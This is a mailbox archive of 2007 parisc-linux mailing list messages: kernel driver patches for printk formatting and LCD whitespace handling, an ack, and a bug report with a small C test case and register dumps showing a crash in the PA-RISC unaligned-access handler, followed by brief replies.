X2lvbW11LmMJMjAwNy0wNi0xOCAwOToyMDozNC4wMDAwMDAwMDAgKzAwMDAKQEAgLTE5MDks
OCArMTkwOSw4IEBACiAJCQlnbG9iYWxfaW9jX2NudCAqPSAyOwogCX0KIAotCXByaW50ayhL
RVJOX0lORk8gIiVzIGZvdW5kICVzIGF0IDB4JWx4XG4iLAotCQlNT0RVTEVfTkFNRSwgdmVy
c2lvbiwgZGV2LT5ocGEuc3RhcnQpOworCXByaW50ayhLRVJOX0lORk8gIiVzIGZvdW5kICVz
IGF0IDB4JWxseFxuIiwKKwkJTU9EVUxFX05BTUUsIHZlcnNpb24sICh1bnNpZ25lZCBsb25n
IGxvbmcpIGRldi0+aHBhLnN0YXJ0KTsKIAogCXNiYV9kZXYgPSBremFsbG9jKHNpemVvZihz
dHJ1Y3Qgc2JhX2RldmljZSksIEdGUF9LRVJORUwpOwogCWlmICghc2JhX2RldikgewotLS0g
Li9kcml2ZXJzL3BhcnBvcnQvcGFycG9ydF9nc2MuYy5PcmlnCTIwMDctMDYtMTggMDk6MDU6
NTEuMDAwMDAwMDAwICswMDAwCisrKyAuL2RyaXZlcnMvcGFycG9ydC9wYXJwb3J0X2dzYy5j
CTIwMDctMDYtMTggMDk6MDQ6MzUuMDAwMDAwMDAwICswMDAwCkBAIC0zNTgsOCArMzU4LDgg
QEAKIAl1bnNpZ25lZCBsb25nIHBvcnQ7CiAKIAlpZiAoIWRldi0+aXJxKSB7Ci0JCXByaW50
ayhLRVJOX1dBUk5JTkcgIklSUSBub3QgZm91bmQgZm9yIHBhcmFsbGVsIGRldmljZSBhdCAw
eCVseFxuIiwKLQkJCWRldi0+aHBhLnN0YXJ0KTsKKwkJcHJpbnRrKEtFUk5fV0FSTklORyAi
SVJRIG5vdCBmb3VuZCBmb3IgcGFyYWxsZWwgZGV2aWNlIGF0IDB4JWxseFxuIiwKKwkJCSh1
bnNpZ25lZCBsb25nIGxvbmcpIGRldi0+aHBhLnN0YXJ0KTsKIAkJcmV0dXJuIC1FTk9ERVY7
CiAJfQogCi0tLSAuL2RyaXZlcnMvc2VyaWFsLzgyNTBfZ3NjLmMuT3JpZwkyMDA3LTA2LTE4
IDA5OjA2OjAxLjAwMDAwMDAwMCArMDAwMAorKysgLi9kcml2ZXJzL3NlcmlhbC84MjUwX2dz
Yy5jCTIwMDctMDYtMTggMDg6NTc6NTQuMDAwMDAwMDAwICswMDAwCkBAIC0zOSw5ICszOSw5
IEBACiAJCSAqIHRoZSB1c2VyIHdoYXQgdGhleSdyZSBtaXNzaW5nLgogCQkgKi8KIAkJaWYg
KHBhcmlzY19wYXJlbnQoZGV2KS0+aWQuaHdfdHlwZSAhPSBIUEhXX0lPQSkgewotCQkJcHJp
bnRrKEtFUk5fSU5GTyAiU2VyaWFsOiBkZXZpY2UgMHglbHggbm90IGNvbmZpZ3VyZWQuXG4i
CisJCQlwcmludGsoS0VSTl9JTkZPICJTZXJpYWw6IGRldmljZSAweCVsbHggbm90IGNvbmZp
Z3VyZWQuXG4iCiAJCQkJIkVuYWJsZSBzdXBwb3J0IGZvciBXYXgsIExhc2ksIEFzcCBvciBE
aW5vLlxuIiwKLQkJCQlkZXYtPmhwYS5zdGFydCk7CisJCQkJKHVuc2lnbmVkIGxvbmcgbG9u
ZykgZGV2LT5ocGEuc3RhcnQpOwogCQl9CiAJCXJldHVybiAtRU5PREVWOwogCX0K

--_=__=_XaM3_.1182172922.2A.103215.42.6082.52.42.007.2075067635
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--_=__=_XaM3_.1182172922.2A.103215.42.6082.52.42.007.2075067635--



From - Thu Nov 08 21:36:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Julian Stecklina <der_julian@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] LCD driver trims whitespace (again again)
Date: Mon, 18 Jun 2007 19:56:28 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <4676C74C.4020608__38859.6543031328$1416624397$gmane$org@web.de>
References: <46279704.1080001@web.de>
	<200704211141.26069.deller@gmx.de>	<4672F1B9.507@web.de>
	<200706172227.22345.deller@gmx.de> <4675A206.7060809@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="------------010003090505010301000006"
X-Trace: ger.gmane.org 1416624397 24568 80.91.229.3 (22 Nov 2014 02:46:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Jun 2007 17:56:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx088) with SMTP; 18 Jun 2007 19:56:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 79ED37DD64;
	Mon, 18 Jun 2007 11:56:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29466-05; Mon, 18 Jun 2007 11:56:36 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 236127DD5A;
	Mon, 18 Jun 2007 11:56:34 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A34BF7DD57
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Jun 2007 11:56:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29466-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Jun 2007 11:56:29 -0600 (MDT)
Original-Received: from mailout1.zih.tu-dresden.de (mailout1.zih.tu-dresden.de
	[141.30.67.72])
	by free.linux.hp.com (Postfix) with ESMTP id BD2E77DD56
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Jun 2007 11:56:29 -0600 (MDT)
Original-Received: from rmc67-31.zih.tu-dresden.de ([141.30.67.31] helo=server-n)
	by mailout1.zih.tu-dresden.de with esmtp (Exim 4.63)
	(envelope-from <der_julian@web.de>)
	id 1I0LSm-00014s-Rl; Mon, 18 Jun 2007 19:56:28 +0200
Original-Received: from [192.168.0.250] (efficio.wh29.tu-dresden.de [141.30.207.25])
	by server-n (Postfix) with ESMTP id 86E25100A61F;
	Mon, 18 Jun 2007 19:56:28 +0200 (CEST)
User-Agent: Thunderbird 1.5.0.10 (X11/20070221)
In-Reply-To: <4675A206.7060809@web.de>
X-TUD-Virus-Scanned: mailout1.zih.tu-dresden.de
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: EIEQLJVkaHI/bKWnKSUlNI5qamdhZMT2
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24668

This is a multi-part message in MIME format.
--------------010003090505010301000006
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit

Hello,

Due to my violation of rules, here comes it again...

The attached patch removes the behaviour that writes to /proc/pdc/lcd
are whitespace trimmed. This patch applies to Kyle's parisc git tree.

Signed-off-by: Julian Stecklina <der_julian@web.de>
(See thread "LCD driver trims whitespace" for reference.)

Regards,
Julian

--------------010003090505010301000006
Content-Type: text/x-patch;
 name="no-space-removal.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="no-space-removal.diff"

diff --git a/drivers/parisc/led.c b/drivers/parisc/led.c
index 98be288..e5d7ed9 100644
--- a/drivers/parisc/led.c
+++ b/drivers/parisc/led.c
@@ -195,12 +195,6 @@ static int led_proc_write(struct file *file, const char *buf,
 
 	cur = lbuf;
 
-	/* skip initial spaces */
-	while (*cur && isspace(*cur))
-	{
-		cur++;
-	}

From - Thu Nov 08 21:36:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LCD driver trims whitespace (again again)
Date: Mon, 18 Jun 2007 20:34:32 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <200706182034.32466.deller__10407.2041380734$1416624398$gmane$org@gmx.de>
References: <46279704.1080001@web.de> <4675A206.7060809@web.de>
	<4676C74C.4020608@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624398 24570 80.91.229.3 (22 Nov 2014 02:46:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Jun 2007 18:34:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx030) with SMTP; 18 Jun 2007 20:34:47 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3CCAD7DD3C;
	Mon, 18 Jun 2007 12:34:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30437-01; Mon, 18 Jun 2007 12:34:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 412707DD68;
	Mon, 18 Jun 2007 12:34:41 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 01E587DD56
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Jun 2007 12:34:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29790-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Jun 2007 12:34:36 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id C380D7DD36
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Jun 2007 12:34:35 -0600 (MDT)
Original-Received: (qmail invoked by alias); 18 Jun 2007 18:34:34 -0000
Original-Received: from mnhm-590c041c.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.4.28]
	by mail.gmx.net (mp057) with SMTP; 18 Jun 2007 20:34:34 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
In-Reply-To: <4676C74C.4020608@web.de>
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;
	Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
	=?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: duJQbsmLLi5mI/fRZWtp+VVjZml1ZFhu
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24669

On Monday 18 June 2007, Julian Stecklina wrote:
> The attached patch removes the behaviour that writes to /proc/pdc/lcd
> are whitespace trimmed. This patch applies to Kyle's parisc git tree.
> 
> Signed-off-by: Julian Stecklina <der_julian@web.de>

Acked-by: Helge Deller <deller@gmx.de>
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Unaligned handler broken (kernel BUG at
	mm/mmap.c:1991!)
Date: Mon, 18 Jun 2007 21:31:06 +0200
Lines: 83
Approved: news@gmane.org
Message-ID: <200706182131.06930.deller__6566.24798798493$1416624398$gmane$org@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624398 24572 80.91.229.3 (22 Nov 2014 02:46:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Jun 2007 19:31:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx070) with SMTP; 18 Jun 2007 21:31:19 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 732D97DD9F;
	Mon, 18 Jun 2007 13:31:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31617-04; Mon, 18 Jun 2007 13:31:16 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 196CC7DD7D;
	Mon, 18 Jun 2007 13:31:14 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7C76E7DD7A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Jun 2007 13:31:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31617-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Jun 2007 13:31:09 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 49B787DD5B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Jun 2007 13:31:09 -0600 (MDT)
Original-Received: (qmail invoked by alias); 18 Jun 2007 19:31:08 -0000
Original-Received: from mnhm-590c041c.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.4.28]
	by mail.gmx.net (mp004) with SMTP; 18 Jun 2007 21:31:08 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;
	Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
	=?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: sOpDcqtrTiEscKyUaGRwluJ1ZUVSRBee
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24670

The following small test case - which is itself wrong - crashes 2.6.22-rc5 (32bit kernel) badly:

#include <stdio.h>
int main()
{
        int *ptr = (int *) 0xffffffff;
        printf("ptr=%x, val=%d\n", ptr, *ptr);
}

dmesg reports:
--------------------
a.out(1750): unaligned access to 0xffffffff at ip=0x000104e3
Unaligned handler failed, ret = -2
a.out (pid 1750): Unaligned data reference (code 28) at 000104e3

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111000001011 Not tainted
r00-03  0006fe0b 40218aa0 40419567 c01d3780
r04-07  405349d4 00000000 00000000 c01d35a4
r08-11  c035000a 00000001 0004b6d8 000119ee
r12-15  00050ed8 00050ed8 0004b6d8 00050ed8
r16-19  c0350818 0004b6d8 0004b6d8 00000000
r20-23  00000000 00000000 000104c4 000119de
r24-27  c01d35ac c01d35a4 00000001 000119b0
r28-31  ffffffff 00000001 c01d37c0 40204277
sr00-03  00000219 00000000 00000000 00000219
sr04-07  00000219 00000219 00000219 00000219

      VZOUICununcqcqcqcqcqcrmunTDVZOUI
FPSR: 00000000000000000000000000000000
FPER1: 00000000
fr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
fr04-07  11b894e88f614600 000000001017ade8 00000000105d2010 0000000000000000
fr08-11  11b3ad3cfffffff4 104d524c00000003 0000000011b894e8 0000000000000002
fr12-15  00000000105d8ed0 105d201010178574 11b4422c10464300 1067d2b8105d2010
fr16-19  105d8e88fffff000 8ff150001017af24 0000000f8ff15000 106794601067ca10
fr20-23  0000000f105a3010 105a30101017aa4c 000012e000000970 00001c507188c177
fr24-27  0000000200000000 0000000000000000 00000000105d8810 105a2b3c3b9aca00
fr28-31  105d8e88fffff000 8ff15000101775f0 0000000000100000 0000000200000000

IASQ: 00000219 00000219 IAOQ: 000104e3 000104e7
 IIR: 0f801093    ISR: 00000219  IOR: ffffffff
 CPU:        0   CR30: 8c128000 CR31: 10628000
 ORIG_R28: 4021bbd8
 IAOQ[0]: 0x104e0
 IAOQ[1]: 0x104e4
 RP(r2): 0x40419564
------------[ cut here ]------------
kernel BUG at mm/mmap.c:1991!

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001100000000000001111 Not tainted
r00-03  0006000f 10268800 10127ff4 8e83bbb8
r04-07  00000000 8e83bbb8 00000001 0000000b
r08-11  8f60e5b4 8f60e3b8 8c128108 000119ee
r12-15  00050ed8 00050ed8 0004b6d8 00050ed8
r16-19  8f60e3b8 0004b6d8 0004b6d8 00000001
r20-23  1067b6a4 8c9da94c 6b6b6b6b 00000000
r24-27  00000000 0000006b 8c9da8f8 10578010
r28-31  00000000 8c9da8f0 8c128380 101775b8
sr00-03  00000000 00000000 00000000 0000021b
sr04-07  00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1016a144 1016a148
 IIR: 03ffe01f    ISR: 10240001  IOR: 9ee7b658
 CPU:        0   CR30: 8c128000 CR31: 10628000
 ORIG_R28: 0004b6d8
 IAOQ[0]: exit_mmap+0x130/0x14c
 IAOQ[1]: exit_mmap+0x134/0x14c
 RP(r2): mmput+0x68/0x108
Backtrace:
 [<101073f0>] die_if_kernel+0x130/0x198
 [<10107544>] handle_break+0x88/0xec
 [<10107dcc>] handle_interruption+0x570/0x58c
 [<1010b078>] intr_check_sig+0x0/0x34

Fixing recursive fault but reboot is needed!
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unaligned handler broken (kernel BUG at 
	mm/mmap.c:1991!)
Date: Wed, 20 Jun 2007 09:43:55 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <JJXC57$BE11CF18636E43122DF924D0D989E207__28456.920621875$1416624398$gmane$org@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624398 24575 80.91.229.3 (22 Nov 2014 02:46:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:38 +0000 (UTC)
Cc: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
To: "deller" <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <soete.joel@scarlet.be>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Jun 2007 07:43:57 -0000
Original-Received: from guri.is.scarlet.be (EHLO guri.is.scarlet.be) [193.74.71.22]
  by mx0.gmx.net (mx077) with SMTP; 20 Jun 2007 09:43:57 +0200
Original-Received: from (taj.is.scarlet.be [193.74.71.42]) 
	by guri.is.scarlet.be  with ESMTP id l5K7ht630248; 
	Wed, 20 Jun 2007 09:43:55 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: jOhebjWiLi5mI/fRZWtpcqZjZml1ZFjs
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24671

> Hi Joel,
> 
> Von: "Joel Soete" <soete.joel@scarlet.be>
> > Did your system actually crashed?
> 
> No it didn't.
>  
> > I run your test case and read well same messages on console but my b1=
80
> > runing also 2.6.22-rc5-pa1 (a merge of mine obviously) was still 
> > alive after this run???
> 
> Yes.
> 
> > Even thought I don't know what to thought about ultimate message:
> > "Fixing ... but reboot is needed!"
> 
> Yeah. There is some major bug though : "kernel BUG at mm/mmap.c:1991!"
>  
> > A critical pb would launch a LPMC or a panic?
> 
> That's the worst thing which can happen.
> 
> > Should I actualy reboot it (as it's still alive)?
> 
> I have no idea. Probably the best is to reboot.
> 
Yes I think so too (leds on b180 were flashing badly?)

Thx,
    Joel

> Helge
> -- 
> Psssst! Schon vom neuen GMX MultiMessenger geh=F6rt?
> Der kanns mit allen: http://www.gmx.net/de/go/multimessenger
> 
> =0A---=0Ahttp://www.scarlet.be/



From - Thu Nov 08 21:36:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unaligned handler broken (kernel BUG at mm/mmap.c:1991!)
Date: Wed, 20 Jun 2007 14:45:02 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20070620184502.GE8184__45148.2110577219$1416624399$gmane$org@fattire.cabal.ca>
References: <200706182131.06930.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624399 24579 80.91.229.3 (22 Nov 2014 02:46:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <kyle@fattire.cabal.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Jun 2007 18:55:37 -0000
Original-Received: from stout.engsoc.carleton.ca (EHLO stout.engsoc.carleton.ca) [134.117.69.22]
  by mx0.gmx.net (mx057) with SMTP; 20 Jun 2007 20:55:37 +0200
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id EBA835840B9;
	Wed, 20 Jun 2007 14:55:34 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id A584C5840B6;
	Wed, 20 Jun 2007 14:55:33 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 6115423E03; Wed, 20 Jun 2007 14:45:02 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200706182131.06930.deller@gmx.de>
User-Agent: Mutt/1.5.13 (2006-08-11)
